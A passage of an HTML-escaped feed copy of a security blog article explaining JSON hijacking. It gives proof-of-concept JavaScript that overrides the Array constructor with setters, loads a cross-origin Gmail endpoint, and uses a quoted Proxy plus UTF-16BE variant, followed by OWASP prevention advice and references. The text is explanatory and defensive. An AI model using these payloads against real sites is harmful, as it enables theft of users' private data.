    &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;You created an array!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the alert would popup!&lt;/p&gt;

&lt;p&gt;Replace the &lt;code&gt;var x&lt;/code&gt; with the following script, and the attacker could read your emails!&lt;br&gt;&lt;br&gt;
This works by overwriting the &lt;code&gt;Array&lt;/code&gt; constructor before loading an external script.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://gmail.com/messages"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Data extraction
&lt;/h2&gt;

&lt;p&gt;Even though you're overriding the constructor, the array is still constructed and you can still access it via &lt;code&gt;this&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here is a snippet which will alert all of the array data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;that&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// Populating the array with setters, which dump the value when called&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;valueExtractor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Alert the value&lt;/span&gt;
    &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Set the next index to use this method as well&lt;/span&gt;
    &lt;span class="nx"&gt;that&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__defineSetter__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="nx"&gt;valueExtractor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="c1"&gt;// Set the setter for item 0&lt;/span&gt;
  &lt;span class="nx"&gt;that&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__defineSetter__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="nx"&gt;valueExtractor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Upon creating arrays, their values will be alerted!&lt;/p&gt;

&lt;p&gt;This was fixed in the &lt;em&gt;ECMAScript 4&lt;/em&gt; proposal, as we now can no longer override the prototype of most primitives, such as &lt;code&gt;Object&lt;/code&gt; and &lt;code&gt;Array&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Even though ES4 was never released, this vulnerability was fixed by major browsers soon after its discovery.&lt;/p&gt;




&lt;p&gt;You can still have similar behavior in today's javascript, but it is limited to variables you create, or item creations not using the bracket notation.&lt;/p&gt;

&lt;p&gt;This would be the adapted version of the previous payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Making an array&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

&lt;span class="c1"&gt;// Making the overwritten methods&lt;/span&gt;
&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;extractor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Keeping the value in a different array&lt;/span&gt;
    &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Setting the extractor for the next value&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__defineSetter__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;extractor&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__defineGetter__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="c1"&gt;// Logging the value&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Extracted value&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// Assigning the setter on index 0 &lt;/span&gt;
&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__defineSetter__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;extractor&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__defineGetter__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;


&lt;span class="c1"&gt;// Using the array as usual&lt;/span&gt;

&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;zero&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;one&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And this would be a version using the &lt;code&gt;Array&lt;/code&gt; keyword to create your array:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;secret&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;values&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, the data you added to the array was logged, while the functionality remains the same!&lt;/p&gt;




&lt;p&gt;The fix itself was not to block the &lt;code&gt;function Array&lt;/code&gt; creation in itself, but to force the bracket notation of item creations to use the native implementation, and not your custom function.&lt;/p&gt;

&lt;p&gt;This means we can still create an &lt;code&gt;Array&lt;/code&gt; function, but it won't be called with square brackets array creations (&lt;code&gt;[1,2,3]&lt;/code&gt;).&lt;br&gt;&lt;br&gt;
It still will be called if we use the &lt;code&gt;x = new Array(1,2,3)&lt;/code&gt; or &lt;code&gt;x = Array(1,2,3)&lt;/code&gt; notation though, but this doesn't impact JSON hijacking.&lt;/p&gt;
&lt;h1&gt;
  
  
  Modern variations
&lt;/h1&gt;

&lt;p&gt;Alright, so we know old versions of browsers were vulnerable a while ago.&lt;br&gt;
What does this mean for us today?&lt;/p&gt;

&lt;p&gt;Well, with the recent release of EcmaScript 6, new juicy features were added such as Proxies!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/garethheyes" rel="noopener noreferrer"&gt;Gareth Heyes&lt;/a&gt; from Portswigger &lt;a href="https://portswigger.net/blog/json-hijacking-for-the-modern-web" rel="noopener noreferrer"&gt;blogged out&lt;/a&gt; out a modern variation of this attack, which still lets us steal data from JSON endpoints!&lt;/p&gt;

&lt;p&gt;Using Proxies instead of Accessors lets us steal any variable created, no matter what its name is.&lt;br&gt;
It can behave like an accessor but for any accessed or written property.&lt;/p&gt;

&lt;p&gt;Using this and another quirk, it is possible to steal data once again!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;UTF-16BE is a multi-byte charset and so two bytes will actually form one character. If for example your script starts with [" this will be treated as the character 0x5b22 not 0x5b 0x22. 0x5b22 happens to be a valid JavaScript variable =).  Can you see where this is going?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Using such a script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-16BE"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"external-script-with-array-literal"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With a bit of controlled data from this script, as well as the practical bit-shifting script to make this legible again, we can exfiltrate data once again!&lt;/p&gt;

&lt;p&gt;Here is his final edge POC, taken from his blog post:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;!&lt;/span&gt;&lt;span class="nx"&gt;doctype&lt;/span&gt; &lt;span class="nx"&gt;HTML&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setPrototypeOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;__proto__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Proxy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;__proto__&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;
    &lt;span class="na"&gt;has&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/./g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;UTF-16BE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;external-script-with-array-literal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;span class="c"&gt;&amp;lt;!--&lt;/span&gt; &lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;contains&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;following&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;supersecret&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;?php echo chr(0)?&amp;gt;aa&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As I won't explain his method in depth, I strongly suggest you to read &lt;a href="https://portswigger.net/blog/json-hijacking-for-the-modern-web" rel="noopener noreferrer"&gt;his post&lt;/a&gt; for more information.&lt;/p&gt;

&lt;h1&gt;
  
  
  Prevention
&lt;/h1&gt;

&lt;p&gt;Here are the official OWASP recommendations, taken from their &lt;a href="https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside" rel="noopener noreferrer"&gt;AJAX security cheat sheet&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use CSRF Protection&lt;br&gt;
This prevents the exploit by not returning the data if a security header or csrf token is missing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Always return JSON with an Object on the outside&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This last solution is interesting.&lt;/p&gt;

&lt;p&gt;In Firefox and IE, this is valid:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;key&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;key&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;key&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But this isn't:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;key&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;value&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reason why it is not valid is that browsers considers the brackets to be the start of a block statement, and not an object creation.&lt;br&gt;
The notation without quotes,  &lt;code&gt;{key: "value"}&lt;/code&gt;, is considered a label, with the value being a statement.&lt;/p&gt;

&lt;p&gt;[See edit: This is wrong] Chrome, unlike the others, considers those cases to be an object creation, and therefore it creates a new object.&lt;/p&gt;

&lt;p&gt;Thanks &lt;a href="https://twitter.com/r0x33d" rel="noopener noreferrer"&gt;Matt (r0x33d)&lt;/a&gt;  for the help demystifying this!&lt;br&gt;
&lt;iframe class="tweet-embed" id="tweet-1062227343350083584-40" src="https://platform.twitter.com/embed/Tweet.html?id=1062227343350083584"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1062227343350083584-40');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1062227343350083584&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;p&gt;Update: &lt;a href="https://twitter.com/mathias/" rel="noopener noreferrer"&gt;Mathias Bynens&lt;/a&gt; from the V8 team pointed this out:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;But the DevTools implicitly wrap your input code to make this work.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;iframe class="tweet-embed" id="tweet-1062969191106412544-218" src="https://platform.twitter.com/embed/Tweet.html?id=1062969191106412544"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1062969191106412544-218');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1062969191106412544&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;p&gt;This can be tested by &lt;code&gt;eval&lt;/code&gt;uating the code instead of simply running it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"x":"y"}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This throws the same error on all browsers.&lt;/p&gt;

&lt;p&gt;Chrome therefore correctly handles this input when in a raw script tag, even though the dev tools console might not have the same behavior.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;While those vectors may not be working today, we never know what new bug tomorrow will bring, and therefore we should still do our best to prevent API's from being exploitable.&lt;br&gt;
If we took &lt;a href="https://stackoverflow.com/questions/16289894/is-json-hijacking-still-an-issue-in-modern-browsers" rel="noopener noreferrer"&gt;this StackOverflow answer&lt;/a&gt; answer for granted, we would have been vulnerable to the modern variants, and therefore still possibly hacked.&lt;/p&gt;

&lt;p&gt;Google and Facebook's answer has been to add invalid javascript or infinite loops before their JSON data, but there are few other alternatives as listed by OWASP.&lt;/p&gt;

&lt;h1&gt;
  
  
  References:
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://haacked.com/archive/2009/06/25/json-hijacking.aspx/" rel="noopener noreferrer"&gt;Haacked.com - JSON Highjacking&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses" rel="noopener noreferrer"&gt;Stackoverflow - Why does google prepend [a loop] to their JSON responses&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://portswigger.net/blog/json-hijacking-for-the-modern-web" rel="noopener noreferrer"&gt;Portswigger - JSON highjacking for the modern web&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.owasp.org/images/6/6a/OWASPLondon20161124_JSON_Hijacking_Gareth_Heyes.pdf" rel="noopener noreferrer"&gt;And the slides of Gareth Heyes&lt;/a&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
    </item>
    <item>
      <title>What happens when you submit an article?</title>
      <dc:creator>Antony Garand</dc:creator>
